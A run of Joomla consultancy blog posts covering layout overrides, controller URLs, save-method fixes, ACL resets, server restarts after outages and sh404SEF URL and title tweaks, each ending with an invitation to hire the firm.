  • We clicked on the Options button at the top right.

  • We clicked on the Articles tab (usually the Articles tab is selected by default because it’s the first one).

  • We clicked on Hide next to Show Navigation, and then we clicked on Save at the top right.

  • That was it! The site ran super fast and our client was very satisfied.

As the title of the article implies, page navigation is a problem on large Joomla websites (10,000+ articles) – it’s not that much of a problem on smaller websites.

Now, what if a large Joomla website really needs page navigation? Well, there are two options:

  • Contact some Joomla experts (such as us) and ask them to modify the default page navigation plugin.
  • Ask some Joomla experts (again, that would be us!) to develop another page navigation plugin and use it instead of the default one.

The first option above is the fastest, but, on the flip side, it requires modifying Joomla’s core which means that future updates to your Joomla website may overwrite the modifications done on that particular plugin.

The second option doesn’t require any core modification, but it’s much more complicated and requires more work, especially because all the views in Joomla use the default page navigation instead.

In any case, and whatever your option is, we are here to help. Just contact us and let us prove to you how experienced, fast, and professional we are. Oh, and don’t you worry about our fees – they are very, very affordable!

How to a Have a Different Category Blog Layout for a Specific Category in Joomla

If you’re reading this post, then this means that most likely you have reached a level, in Joomla, where you know that you can override the default layout of any view in any component by copying template files to the html directory of the template and then modifying these files. For example, if you want to override the default Category Blog layout, you will need to do the following:

  • Download, through FTP, the files blog.php, blog_item.php, and blog_links.php from the /components/com_content/views/category/tmpl directory.
  • Make some changes to your taste to the above files.

  • Upload them to the /templates/[your template name]/html/com_content/category folder (you will need to create this directory structure if it doesn’t already exist).

  • That’s it! You have now overridden the default layout for the blog layout. Joomla will now use the files in the html directory to display any page using the Category Blog menu item type.

But, what if you have a certain category that needs to have a unique, different blog layout than the others. What will you do?

Unfortunately, the above method will not work because the overridden template is applied across the board: all the Category Blog pages will have the same look and feel.

Thankfully, there is another, even more powerful method, that can accomplish exactly what you want. You just need to create a new layout and then assign the menu item to that layout. In other words, you will have another menu item type (which is similar to the Category Blog menu item type)!

Here’s how to do this:

  • Download the files blog.xml, blog.php, blog_item.php from the /components/com_content/views/category/tmpl directory.

  • Rename the downloaded files to mylayout.xml, mylayout.php, and mylayout_item.php respectively.

  • Open the file mylayout.xml in a text editor and 1) change the string “COM_CONTENT_CATEGORY_VIEW_BLOG_TITLE” to “My Layout”, and 2) change the string “COM_CONTENT_CATEGORY_VIEW_BLOG_OPTION” to “My Layout” as well.

  • Make the appropriate layout modifications to mylayout.php and mylayout_item.php to accommodate the unique look & feel for that particular category.

  • Upload the renamed files to the /templates/[your template name]/html/com_content/category directory.

  • Now create a menu item of type My Layout and you should see that the layout that you have just created is applied!

Wonderful, huh? And the best thing is that you haven’t made a single code change to Joomla’s core (or any Joomla file for that matter – core or non-core), which means that your newly created layout will not be overwritten/removed by a future Joomla update!

Now, at first glance, the above process might seem a bit complicated, but it’s not – it’s really straightforward. It takes just a tiny bit of time if you follow the instructions. However, we do recognize that if you don’t have any programming experience, then the whole thing can be very daunting, and you might be in dire need of some Joomla experts. If that’s the case, then fear not, we are always there for you. Just contact us and rest assured that we’ll do the above for you in no time and at a very affordable cost. So, what are you waiting for? Just shoot us an email or give us a call!

How to Invoke a Controller Function in a Joomla URL

When we develop custom Joomla components for our clients, a very common task that we do is that we call custom controller functions from a URL within a view. For example, just today, while working on a custom component that’ll allow people to post their press releases through the frontend of a Joomla website, we wanted to allow people to delete uploaded images from within a view. To do that, we added, next to each image, a link that will delete the image when someone clicks it.

The link looked like the following:

http://www.ourclientjoomlawebsite/index.php?option=com_pr&task=pr.delete_image&id=5

Now to explain the link, let us dissect it:

  • com_pr: This is the name of the component (for example, com_content).
  • pr.delete_image: This is actually a combination of the controller name and the function name to call joined by a dot (.) . For example, in our scenario, the controller name is pr, and the name of the function to call is delete_image.

  • 5: This is the id of the image to delete in our scenario. This id is passed to the function delete_image. You can have as many parameters as you want in the URL.

So, the delete_image function in the pr controller will get the id of the image from the GET and then deletes that image. Easy, huh?

So, if you are trying to call a function in your controller from a URL, this is the way to do it. If you’re still having challenges doing it, or if there’s something that you don’t understand, then why don’t you just let us do this task for you? Our work is professional, our prices are affordable, we are very friendly, and our clients really love us. Go ahead, contact us, you won’t regret it.

Note: We know, this is yet another short post. This is not a trend, we promise, but the thing is we are extremely busy these days and we definitely need more people on our team to serve our growing number of clients.

“Cannot delete last style of a template” When Uninstalling a Joomla Template

Here’s a small Saturday niblet… While trying to uninstall a template from the Template Manager, we encountered the following error:

Cannot delete last style of a template

And, of course, we were not able to uninstall the template. Uninstalling the template was necessary for us because we wanted to re-install it as it had an error.

But, on the bright side, we knew another way for uninstalling templates (well, we knew many ways, but that was the easiest one). All that we needed to do was to go Extensions -> Extensions Manager, and then click on Manage on the secondary menu, and then search for the name of the template (e.g. type in the name of the template in the Filter box), and then click on the checkbox next to it, and finally click on Uninstall on the top right. (We know, too many “and thens”, even more “and thens” than that scene in Dude, Where’s my car). And Guess what, that worked!

But what causes this problem?

Well, it’s because Joomla doesn’t allow you, through the Template Manager, to delete all the styles of a specific template. For example, if a template has 5 styles, then you are only allowed to delete 4 through the template manager. The last one cannot be deleted from there. This behavior is controlled by the function delete in the file style.php which is located under the administrator/components/com_templates/tables/style.php. To be more specific, in the following code (lines 110-113 of the aforementioned file):

if (count($results)==1 && $results[0]==$pk) {
	$this->setError(JText::_('COM_TEMPLATES_ERROR_CANNOT_DELETE_LAST_STYLE'));
	return false;
}

Now, if you’re seeing the same error when uninstalling a template, then try to uninstall it from the Extensions Manager instead of doing it from the Template Manager. If that also fails, then why not contact us? We can definitely help! Our work is fast, our quality is top notch, and we don’t charge much.

No Backend Menu in Joomla 2.5

Warning: Implementing the fix in this post will reset all your ACL modifications. Additionally, it’ll remove all the associations between your users and your groups – with the exception of the user with the first ID in the #__users table. It’ll also remove all the groups that you have created. If you have a large website with many users then most likely this is not what you want. Stop and contact us and we’ll implement a custom fix for you.

Note: The user with the first ID in the #__users table is assumed to be a Super User – which is the case in 99.99% of Joomla websites. That’s why we will re-create the association between that user and the Super Users group. Again, if this is not what you want, then please contact us.

Disclaimer: While we have tested the fix on many Joomla websites – we cannot guarantee that it’ll work on your website. Additionally, we cannot be held liable, directly or indirectly, for any mishaps caused by our script, including, but not limited to: total/partial loss of data, interruption of business activities, toxic rain (that was a joke, but you get the point), etc… If you’re not sure about this script, then don’t use it.

Final note: This script is for Joomla 2.5.x – it will not work on any other version of Joomla (such as Joomla 1.x or Joomla 3.x). Additionally, it may cause irreversible problems on your website should you implement it on other versions of Joomla. Beware!

Ever since Joomla 2.5 was launched (that was 19 months ago), we have had calls from clients telling us that they’re able to login to their Joomla website, but they just don’t see any menu. All that they see is the black stripe at the top of the page, and the Joomla copyright notice immediately after. Nothing else: no menu, no icons, no “Last 5 Logged-in Users”, nothing!

The first time we’ve seen this problem, we have to admit we were perplexed – especially because the Joomla website in question was a fresh install with just some data added. But, we later discovered that the administrator has made some wrong changes to the ACL (Access Control Lists), and that’s the heart of the problem. As we have mentioned before (see point #10 in this post), a messed up ACL can cause login issues. So, in short, if you’re having the same problem, then most likely you have done some incorrect changes to your Joomla website’s ACL.

OK – now you know what the problem is, but how to fix it? Well, unfortunately, the best and fastest way to fix the problem is to completely reset Joomla’s ACL, which means any changes you might have done to the default ACL, whether right or wrong, will be lost with the fix.

But how to reset Joomla’s ACL?

To reset Joomla’s ACL, you will need to run a series of SQL queries. Fortunately for you, we, at itoctopus, have simplified this task by adding all those queries to a PHP file. So, in order to fix the problem, all you need to do is the following:

  • Download the zipped fix here.
  • Extract the PHP file resetACL.php and upload it to the administrator folder in your Joomla website.

  • Execute the PHP script by pointing your browser to http://www.yourjoomlawebsite/administrator/resetACL.php.

  • That’s it!

When you load the page, you will be told which user you should login to as to see the backend menu.

Last reminder: As noted in the beginning of this post, this fix will make you lose all the group associations of all the other users on the website. So, again, if you have many users, then this fix is not ideal for you. Please contact us and we’ll implement a custom fix for you. Oh, and you don’t have to worry about our fees – they are very, very affordable and we are really, really friendly.

How to Handle “Save failed with the following error:” When There Is No Error!

Note: This post is targeted at Joomla developers.

We were seeing the following error while trying to save the data in a Joomla form that we have created in the admin:

Save failed with the following error: (with the colon at the end)

The above tells us that there is a problem with saving the data (and indeed the data was not saved), but it didn’t tell us why. We checked the model of the form that we were trying to save, and everything seemed OK. In fact, the model was pretty standard, with just one difference, we were using the save method.

The save method, for those of you who don’t know, will override the standard save method of the component. This will allow the developer to write his own custom save, which is particularly helpful when the form saves its data to multiple tables.

Now, as soon as we removed the save method, everything worked as it should, so the problem really lied in that method. We reduced the method to just a simple update to one table (and we made sure that the query works), but to no avail, we were still seeing the same error!

We then started searching Joomla’s core files to see where this error is thrown. We discovered that the error (which is stored in the constant JLIB_APPLICATION_ERROR_SAVE_FAILED) was thrown by the file controllerform.php which is located under the libraries/joomla/application/component directory. The error was thrown at line 700 of that file in the function save. We checked the condition before that line, and it was:

if (!$model->save($validData))

Aha! So the save method in the JControllerForm class expects that the save method of the model to return true! So, to solve the problem, all that we needed to do is to add the following code at the end of the save function in our model:

return true;

Yes – it was that simple!

So, if you’re developing a Joomla component from scratch or if you are working on a component developed by someone else and you see this error, then try returning true in the save method of the model in question – it should work! If it still doesn’t and/or if you need help developing your component, then please contact us! Many Joomla development firms outsource work to us – possibly because we know a lot about Joomla, our rates are affordable, and we are always reliable.

How To Retrieve the Current Component Parameters From Anywhere in Joomla 2.5

Note: This post expects the reader to be a Joomla developer. If you’re a casual Joomla user with no programming experience then most likely this post is not for you.

Sometimes, you search the web for a solution to something in Joomla and all you find is:

  • Outdated information
  • Code that doesn’t work
  • Code that only works under certain conditions
  • Complicated code

The above is the case of many Joomla developers trying to get the global parameters of the current component (just try to make a search on Google, and you’ll see that the results returned mostly consist of: 1) code for Joomla 1.5, 2) spaghetti code, 3) code that may or may not work, 4) etc…).

Thankfully, there’s always itoctopus to the rescue!

If you want to get the global parameters of a component in Joomla 2.5 then all you need to do is use the following code:

$app	= JFactory::getApplication();
$params = $app->getParams();

That’s it – the global parameters are inside the $params array! Yes – it’s that simple – but unfortunately, very rare are those who know of this solution.

What’s interesting about the above code is that it works anywhere: in your model/view/controller if you’re using MVC to develop your component, in your template files, and anywhere else! We have tested it!

But how come the above code works anywhere?

As a rule of thumb, any method on the JSite object type (which is the object type returned by the JFactory::getApplication(); method) can work anywhere on your website. This is because the JSite object is available on every page on the frontend of your Joomla website.

We don’t usually write short posts – but this post was necessary to ensure Joomla developers retrieve the current component parameters the right way (e.g. the way that those who developed Joomla wanted us to do it). If the above code doesn’t work for you (very unlikely) or if you need further help, then please contact us. We are experts in Joomla, we work very hard, we deliver on time, and our fees are super reasonable!

How to Override the Default Save Method in a Joomla Component

Joomla is great when it comes to facilitating things for developers. For example, if you want to create a form that saves and retrieves data from the database in the backend, all you need to do is to create the XML schema file and create some standard files (these files are merely copy and paste from standard components, with minor modifications) and Joomla does the rest.

However, Joomla assumes that the data inputted by the user in the backend is the same that you want saved in the database – which is not always the case. In some cases, you need to manipulate the data a bit before saving it.

For example, one of our current projects consists of migrating a very large component from Joomla 1.5 to Joomla 2.5. One of the challenges that we faced was that a calendar field in one of the forms had to be saved as a UNIX timestamp field in the database, and then retrieved back as a calendar field. This meant that we had to manipulate the data when saving it into the database and when retrieving it from the database.

So, how did we manipulate the data prior to saving it to the database?

It was a bit hard at first because the documentation about Joomla’s pre-save functionality is very scarce – but then we discovered it. There is a function called prepareTable (this function is declared in the file modeladmin.php [line 821] which is located under the libraries/joomla/application/component folder and is invoked from the function save [line 1000] in that same file) that is called immediately prior to saving the data to the database. The prepareTable function takes the current form as parameter, and inside this function you can do all the data manipulation that you want. Here’s what we did in our scenario:

protected function prepareTable($form)
{
    $form->expired = strtotime($form->expired);
}

Note that the above function has to be placed in the model of the form that you’re trying to override – in our case, it had to be in the file subscription.php located under the administrator/components/com_store/models directory.

And how did we manipulate the data prior to displaying it in the form?

Well, that was extremely easy. All that we needed to do was adding a line to the function loadFormData which was also in the model file subscription.php. The function became as follows:

protected function loadFormData()
{
    // Check the session for previously entered form data.
    $data = JFactory::getApplication()->getUserState('com_store.edit.subscription.data', array());
    if (empty($data))
    {
        $data = $this->getItem();
    }
    //now we need to modify the data here a bit
    $data->expired = date("Y-m-d", $data->expired);
    return $data;
}

That was it!

Now – if you’re reading this because you’re stuck then we hope our post was helpful. If this wasn’t the case, or if you need some Joomla experts to take over the development of your custom component, then look no further. Just contact us and we’ll do the work for you professionally, swiftly, and for a very affordable cost.

Why Does a Joomla Website Stop Working After a Server Power Outage?

Many of our clients are large companies that choose to host their websites in-house. They do this because of security and data confidentiality concerns. This is standard practice in large companies but it usually suffers from the following drawbacks:

  • In most cases, the in-house data center infrastructure is not at par with standard hosting infrastructures.

  • The procedures in most of these in-house data centers are either very loose or do not exist: There are no formal backup/emergency plans, no alternative power in case of a power failure, no alternative Internet route in case of the failure of the main route, etc…

  • The staff managing these in-house data centers is not fully qualified and/or not enough to handle this task.

Of course, with time, an in-house data center can become very stable – but this usually happens after many years and after many technical catastrophes. A very common technical catastrophe that happens on private data centers is caused by a power outage. Unfortunately, that’s what happened to one of our clients this Monday (2 days ago).

Naturally, our client’s Joomla website went immediately down during the power outage, but even after power had been restored and all the servers were up, the website remained down. The website was displaying a blank page.

After some heavy and swift analysis, we discovered that the website remained down because of the following reasons:

  • The boot sequence was wrong

    In many cases, the boot sequence matters. The boot sequence means the order by which the servers should start. For example, the file server should always start first, then the database server, and finally the application server. Wrong boot sequences either make the application server completely inoperable (which means that all the websites will remain down) or, at the very least, affect certain functionalities at the application server level.

    So, how did we fix the problem?

    It was easy, we only had to alert the networking department of that company of the wrong boot sequence. They took care of the rest!

  • The MySQL Server did not start automatically

    Normally, the MySQL Server starts automatically when the server is started – but – for some reason, the MySQL server did not start automatically after the team did the right boot sequence.

    So, what did we do to fix the problem?

    To fix the problem, we only needed to start the MySQL server manually. MySQL can be started manually by issuing the following command on the shell of the server hosting MySQL:

    /etc/init.d/mysqld start

    (Note: The above command may not work for you if you’re using a different flavor of Linux than the one that our customer is using.)

  • The #__session table became corrupt

    Table corruption usually happens when there’s an attempted write to that table, but the write fails for one of the following reasons:

    • Loss of power
    • MySQL server force shutdown
    • Sudden loss of connectivity between the application server and the database server (if these servers reside on different physical servers).
    • Other reasons…

    Now, every time you load a page on a Joomla website, Joomla writes to the #__session table – that’s why it was natural for the #__session table to become corrupt. Note that it’s possible to have other tables corrupt as well in case there are attempted writes to these tables when the power outage happens, but, in our scenario, the problem just happened on the #__session table.

    So, what did we do to solve this problem?

    Well, it was easy. All that we needed to do was to login to phpMyAdmin and issue the REPAIR command on the #__session table. In other words, we ran the following query (after clicking on the name of the database, and then clicking on the SQL link on the top):

    REPAIR TABLE #__session

    (Note: You should replace #__ with your table prefix.)

    Now, in case you’re completely unlucky, your whole database may have become corrupt because of the outage. In this case, we suggest you take a look at our post: How to salvage your Joomla website.

If your Joomla website stopped working after a power outage, then please follow the above guide. If it doesn’t work for you, then don’t be shy – contact us. Our rates are super affordable, our work is clean and professional, and we won’t rest until your Joomla website is up and running again!

Blank Page After Moving a Joomla Website from Development to Production

Nearly a month ago, we discussed how to quickly move a Joomla website from development to production. The process that we described in that post always worked for us – until yesterday. Here’s what we did:

  • We created a fresh Joomla instance under a sub-directory called v2.

  • We migrated the old content and we ensured that the Joomla instance behaved and worked exactly as the old Joomla website.

  • We archived the old Joomla website and we moved the files and directories under the v2 folder to the old website’s location (in other words, we flipped the website).

  • We saw a blank page on the homepage!

What was very weird is that the website was fully working, with no problems whatsoever, under the v2 folder. All that we did was that we moved it up just one directory and suddenly the website is not working anymore. We checked the configuration.php file and we noticed that the paths to the tmp and the logs folder had v2 in them, so we removed it (e.g. we removed v2). This hasn’t solved the problem – we were still seeing a blank page.

Now we are very familiar with blank pages on Joomla (usually this happens when there is an issue in one of the active plugins) – but this is the first time that we see it in this scenario.

After a lot of hair pulling, teeth cringing, fingernail eating (yes – we do panic occasionally), we decided to print the included files in the index.php using the function get_included_files();. To our amazement we noticed that Joomla was trying to include some paths that had v2 in them. Huh?

We checked the files that were including the files that had v2 in their paths, but we discovered no reason for this problem. We thought, what if Apache was caching the directory structure and it still thinks that these files exist under the v2 folder. So we restarted Apache using the following commands in the shell (we were using Plesk):

/etc/init.d/httpd stop
/etc/init.d/httpd start

And what do you know? The problem was solved! The website worked normally after the restart and there were no blank pages anymore! Success!

We have no idea why Apache was doing this (probably it’s an Apache module used to speed things up) – but whatever the benefit is, we think it’s not worth it because this is a very dangerous bug feature and it doesn’t seem to be well thought of.

If you’re experiencing the same problem after migrating your Joomla website, then please try the above. If it’s a bit over your head or you just don’t have the time to do it, then please contact us. Our rates are very affordable and we’ll fix the problem on your website in no time (OK – in as little time as possible).

How to Add an HTML Text Editor Field to an Extension in Joomla 1.5

We have explained a long time ago how to add an HTML Text Editor field to an extension in Joomla 2.5 – and we have stated that the method described in that post only works on Joomla 2.5. Back then, we thought that we’ll never have to do this on Joomla 1.5 – and we also assumed that none of our readers will have to as well. We have to admit we were wrong.

Today, one of our very important clients asked us to modify one of his custom modules to include an HTML text editor field in the backend – this would’ve been a 5 minute job had he been using Joomla 2.5 (we just use the editor type) – but, to our regret, he was using Joomla 1.5 and he wanted the work done on Joomla 1.5. Oops!

We spent literally hours trying to see if Joomla had an official guide to this, but all we could find was some half-baked/incomplete solutions that’ll address the problem but only after jumping through many, many hoops! But on the bright side, after this long research, we were able to create our own workable solution.

Here’s how it should be done:

Step 1 – Create a new element of type RichEditor

The first thing that you need to do is to create a new custom element. An element (OK – we won’t italicize it anymore) in Joomla is like a field type. For example, a calendar is an element, a category is an element, a textarea is an element, a text is an element, etc… (You can find the full list of standard elements here – Joomla refers to them as “form field and parameter types”).

As the title states, our new custom element should be called RichEditor, so you’ll need to create a file called RichEditor.php and place it under the elements folder under the module’s directory. So, if your module is called mod_listing, you will need to create the file RichEditor.php under the folder modules/mod_listing/elements.

The file RichEditor.php should consit of the below code:

<?php
class JElementRichEditor extends JElement{
    var $_name = 'RichEditor';
    function fetchElement($name, $value, &$node, $control_name){
        return JFactory::getEditor()->display($control_name.'['.$name.']', htmlspecialchars($value, ENT_QUOTES), $node->attributes('width'), $node->attributes('height'), $node->attributes('col'), $node->attributes('row'));
    }
}
?>

Step 2- Integrate the HTML text editor into your module

This can easily be done in just two steps:

  1. Tell the module where to find your newly created element

    Joomla modules (and all other extensions) are merely aware of the Joomla standard elements – they know absolutely nothing about the custom ones unless they are told about them. This can be easily done by replacing the <params> line in the module’s manifest (XML) file (which is mod_listing.xml in our case) with the following line:

    <params addpath=”/modules/mod_listing/elements”>

    (of course, we are assuming that you’re adding the HTML text editor to a module and that module’s name is mod_listing).

  2. Use the HTML text editor element!

    Yes – you’re right – you are done! All you need to do right now is just use that element you have just created. This can be easily done by adding the following line (under the <params addpath=”/modules/mod_listing/elements”> line in the manifest file):

    <param name=”my_html_editor” width=”350″ height=”150″ type=”RichEditor” label=”Text” description=”Please enter the text here.”/>

That’s it! Try the above on a Joomla 1.5 website and it should work! If you need help with the implementation, then we’re just a call or an email away! Oh, and don’t worry about our fees, they’re quite affordable!

Note: The above method will display Joomla’s default editor. So, if your Joomla’s default editor is JCE, then it’ll be displayed.

How to Remove the Article ID from the Browser Title in sh404SEF

At itoctopus, we pride ourselves that we often give real solutions to common problems when no one else does! This morning was no different. We have solved a common problem with sh404SEF that even the creators of that extension claimed that there is no solution for.

Here’s the problem.

Let’s say you choose to include the ID of the article in the URL in sh404SEF’s settings: you make the change and you check your website, and you notice that everything works as it should (well, the ID of the article is in the wrong place, but we’ve already explained how to fix that), but you also notice something else. The ID of the article is, for some reason, in the browser title surrounded by brackets. So your browser title looks like the following:

You Article Title [The ID of the Article]

OK – you think – there must be a setting somewhere to remove the ID from the page title. So you go through every single setting in sh404SEF but to no avail. You then check the official extension forum, and you notice that many have asked the same question, but the answer came invariably: “If you choose to add the ID to the URL, then the ID will also be added to the page title – there’s no way around this.” The answerer then claims that it’s good for you. Well, we think that Joomla website owners have the right to decide themselves what’s good and what’s bad for them – including whether to have that ID or not in the page title.

Since sh404SEF was not helpful, we decided to find the solution ourselves. Our mission was clear: Find the sh404SEF file where the ID is being added and remove the code that adds the ID. To make a (very) long story short, we finally found the culprit. It was the file com_content.php located under the /components/com_sh404sef/meta_ext directory. The code responsible for adding the ID is the following (line 122 to 126):

if (!empty( $articleId)) {
	$lastBit = array_pop( $title);
	$lastBit .= ' [' . $articleId . ']';
	array_push( $title, $lastBit);
}

Removing the above lines just fixed the problem! It was that simple!

We have no idea why the people who created sh404SEF did not make adding the ID to the page title an option (most Joomla website owners wouldn’t want an ID in their page titles anyway) and refused to give the above solution for those who were experiencing the same problem.

If you (yes you!), our dear reader, are having the same problem with sh404SEF and if you’re afraid to apply the above solution by yourself, then please contact us and we’ll do it for you in just one hour and at a very reasonable rate. We promise you you’ll be fully satisfied and we promise you you’ll look forward to working with us again!

Why You Should Avoid Responsive Templates on Your Joomla Website

It seems that every single 3rd party company developing Joomla extensions has either created or is creating a responsive template and is marketing that template to its customer base as the next big thing. Even RSJoomla, a company that we really like and respect, is doing that…

We have to say that we’re amazed at how many people are duped into believing that a responsive template is the way to go. “What?”, you may probably ask… Well, let us explain…

The main reasons why most people go with a responsive template is the following:

  • It makes their website work flawlessly on smartphones, tablets, and PCs.
  • It gives their website a consistent look across all browsers/platforms without doing any additional work.
  • It is usually easy to modify.
  • It’s cheap.

But… on the flip side, responsive templates suffer from the following drawbacks:

  • Responsive templates are very heavy on the client

    The moment you switch to a responsive template you will notice how heavy it is on your browser. Even if your server processes the page very rapidly (which is usually not the case when using a responsive template), the page will not load immediately on your browser because of all the advanced JavaScript and CSS running/loading in the background. We have seen many instances of browsers hanging when trying to load a page powered by a responsive template. This is a huge negative, because, as we all know, the moment your visitor feels that your website is sucking the power out of his machine, he’s going to just leave.

  • Responsive templates are very heavy on the server

    Most companies market their responsive templates as light, simple, straightforward – but the reality couldn’t be far from the truth. These templates are not light – and that’s why all of the responsive templates have built-in caching (that often conflicts with Joomla’s own cache). Why-oh-why would a template have its own caching if it’s that simple and that light? But, even with that dedicated/independent caching, page loads are noticeably higher for responsive templates than for non-responsive ones. We’re not talking about a mere 2% hit in page load here, we’re talking about much, much more than that (which often results in an avalanche effect leading to a completely unresponsive server)! In the good old days, people were more forgiving towards slow websites – they used to wait (most likely because these people thought the slow loading time was because of their Internet connection). Nowadays people expect their pages to load immediately – or they will immediately leave. Not a good thing for business!

    But why are responsive templates that heavy on the server?

    None of the Joomla responsive templates we have examined so far are optimized; since these templates are developed by designers and not real developers, little care is given to the performance if the website has a lot of content and/or the website has a lot of traffic.

  • Responsive templates are not easy to modify

    Yes – we know – we just mentioned that one of the reasons that people go with a responsive template because it’s easily modifiable. The thing is the easily modifiable part applies when the modifications that you want are within the template’s boundaries (or settings). In other words, heavy modifications cannot be made from the sleek (and usually very slow) interface, but they need to be done in the code itself, and this is where it can get really, really messy! The code there is extremely hard to decipher read, and it’s not just in one place. It’s spread over many places.

    You want to modify a responsive template? It’s better to call on an expert programmer to do that for you. Suddenly, that responsive template that you bought for a few dollars is costing you much more in time, money, and frustration!

  • Templates should not be products that require continuous maintenance

    We believe that a template should be the most static and stable thing on a dynamic website. In other words, the least of your worry should be directed towards your website’s template (in an ideal world, the most of your worry/attention should be directed towards your content and your website’s placement in the search engines) – this is not the case with a responsive template. A responsive template requires continuous attention and maintenance – this is because it’s a product of its own – a product that can get hacked, a product that gets outdated, a product that requires the upgrade of other products. This means that you will end up maintaining both your Joomla core and your template. In short, you are just adding unnecessary overhead to your already tight daily schedule!

So, what’s the best solution to support mobile devices?

Well, the solution is with adapting your template to support mobile devices – in other words, you will need to create another template that will be automatically loaded for mobile devices. Not only this will ensure that you won’t experience the slowness and other issues mentioned above, but it’ll also ensure a much better browsing experience for those with mobile devices, because the design and the content are both specifically tailored for them.

If you need help adapting your website to mobile devices, then please contact us. We have helped many companies do this and we’re certain we can help you. Our fees are very affordable, our work is ultra-professional, we are very friendly people, and we always answer the phone!

By the way, if you’re stuck with a responsive template then we can help you as well – all you need is ask!

Moving the Article ID From the Beginning to the End of the URL in sh404SEF

While migrating a Joomla website from 1.5 to 2.5, we had an interesting issue: after we migrated the content and activated sh404SEF, we noticed that the IDs of the articles were at the beginning of the URL, instead of its end. For example, instead of this link:

http://www.ourclientjoomlawebsite.com/test-article-12345.html

We had this link:

http://www.ourclientjoomlawebsite.com/12345-test-article.html

Quick Note: 12345 is the article ID in our example above.

Clearly this is a huge issue and it needed fixing because all the URLs on the migrated website must be identical to those on the old website.

We dug through sh404SEF’s settings, and we couldn’t find any setting to move the ID of the article from the beginning to the end of the URL. We knew then that there was only one way for doing this: Modifying sh404SEF’s core!

After a really long time spent on exploring sh404SEF’s code, we discovered that the code responsible for the placement of the article ID in the URL is in the file slugs.php which is located under the administrator/components/com_sh404sef/models directory. Here’s the code (lines 83-87):

if($insertId) {
	$separator = empty($separator) ? Sh404sefFactory::getConfig()->replacement : $separator;
	$slug = $id . $separator;
}
$slug .= $useAlias ? $rawArticle[$language]->alias : $rawArticle[$language]->title;

All that we needed to do was to replace the code above to:

$slug = $useAlias ? $rawArticle[$language]->alias : $rawArticle[$language]->title;
if($insertId) {
	$separator = empty($separator) ? Sh404sefFactory::getConfig()->replacement : $separator;
	$slug .= $separator.$id;
}

(Notice how we have moved the last line to the top, and how we removed the dot next to the equal sign from the last line to the line that was just above it.)

…and it worked! The article ID smoothly moved from the beginning to the end of the URL with no extra work on our end. We hope our work saved someone a lot of head scratching time!

Important note: Make sure you Purge all the URLs in sh404SEF’s URL Manager after you make the above changes to the code. If you don’t then your changes will not apply to old articles.

OK – we now need to ask an important question: why is it that sh404SEF, the famous component that has a primary purpose of enhancing a Joomla website’s URLs for search engines, places the article ID in the beginning of the URL instead of its end?

We have no idea – especially because it’s much better, from an SEO perspective, to place the ID at the end rather than the the beginning of the URL. An odd decision indeed!

Now, if you have read this post but you don’t have the technical/programming skills to implement it – then fear not, we can help! Just contact us and we’ll do it for you in no time. Note that our very reasonable fees apply!

On Adding a Google Analytics Widget to Your Joomla Website

One of our very large customers gave us a call last Friday and told us that a stat counter that they were using on one of their websites suddenly stopped working. That stat counter was very important for them, since it was used by their potential advertisers to know how much page impressions they will get should they choose to advertise on the website. Clearly, they needed a solution and they needed it immediately!

We sent them a list of 3rd party stat counter widgets that can be easily embedded in a Custom HTML Joomla module. But they told us that they prefer a module for them that will get the data directly from their Google Analytics account. Clearly, they wanted to use something solid because they didn’t want to use another 3rd party widget that may stop working all of a sudden.

Hmmm – we thought! We haven’t done this before but if it’s doable, then we’ll certainly do it!

So we made a research, and we discovered that Google has an API to access Google Analytics‘ data. That was exactly what we wanted (a practical use of the API can be found here). So, here’s what we did:

  • We created a module that will take the username and the password for the Google Analytics account, as well as the Profile ID for the site in question. The module also had some other parameter such as:
    • The period for which the company wishes to display the data for (e.g. current month, last 31 days, current year, etc…).

    • The display format of the module.

    • Whether or not the data coming from Google Analytics should be cached (if we cache the results then this means we won’t have to fetch the data from Google every time someone visits a page). Caching was enabled by default.

  • We then ensured that the module would connect to Google and fetch the results for the specific website and for the specific time period given.

  • That was it!

Of course, we did face many challenges when creating this module, namely because it’s hard to find some coherent and up-to-date documentation on how to do this. But, on the bright side, the work was definitely worth it, this is because:

  • First and foremost, our client was happy!
  • The website no longer depends on other websites to display its traffic data – it now only depends on Google, which probably has the most stable infrastructure in the Internet world. In other words, the client no longer has to worry about using a widget from a 3rd party company that is going to disappear in a week, or whose servers constantly experience “technical difficulties”.

  • The client is no longer forced to display ads on his stat widget or to pay a monthly/yearly fee to display that widget. Additionally, the client is now confident that the module they’re using to display the traffic data is not secretly spying on their website and stealing keywords. (Quick note: All stat counter widgets secretly spy on your website and steal keywords – that’s why their basic plan is free.)

  • The data being displayed on the client’s website is consistent with the data in their Google Analytics account.

If your company wants to display data directly from Google Analytics on the frontend of its Joomla website and you would like some help in doing so, then all you have to do is to contact us. We’ve already done this before and we know we can do it for you. We’ll do it fast, professionally, and for a very reasonable fee.

sh404SEF: How to Re-Generate All the Links on a Migrated Joomla Website

We have already expressed that we are not very big fans of sh404SEF – we think that this extension does more harm than good for what it does. But, the fact of the matter is, there are thousands of Joomla websites using it, so, whether we like it or not, it’s part of Joomla’s ecosystem and we have to work with it and, of course, address its many different issues.

One of the major issues that sh404SEF has is that links are only generated when the page linking to them is visited. Let us explain what this means in plain English… Let’s say you have an article on your website that is only accessible from Page 26 from a certain Category Blog view. For that article’s link to be valid, one has to visit Page 26 on your website. If that page is not visited, then Joomla will return a 404 error for that article’s link.

Now you might be wondering why would the above be a problem. Well, if you just migrated your Joomla website and you have a fresh install of sh404SEF (with an empty database), or, if you have just Purged all the URLs in sh404SEF (by logging in to your Joomla’s website backend, and then clicking on Components -> sh404SEF -> Url Manager, and finally linking on Purge on the top right) then most of the links on your website will not work because the pages linking to them will need to be visited for these links to be re-generated. Of course, if you just have a few hundred articles then you can do this job manually (visit all the main pages yourself), but what if you have tens of thousands of articles? Will you be willing to spend literally a whole couple of days visiting Category Blog pages to re-generate all these links?

If the answer to the last question is “No”, then fear not, there is a way to address this problem. All you need to do is to temporarily change the value of Leading Articles or the value of Intro Articles (or both) in the menu item of the each Category Blog view (or the type of view that you are using to list your articles) to a very high number – say 1,000. This means that on every page of that menu item, sh404SEF will be able to generate 1000 links in one shot! Yes – it’ll take some considerable time to load that one page, and you might run out of memory (if this is the case, then you will need to increase the PHP’s memory limit by applying one of the methods described here), but it’s worth it. If your website has 30,000 articles, then theoretically, you will only need to load 30 pages to re-generate all your links. Not too bad, huh?

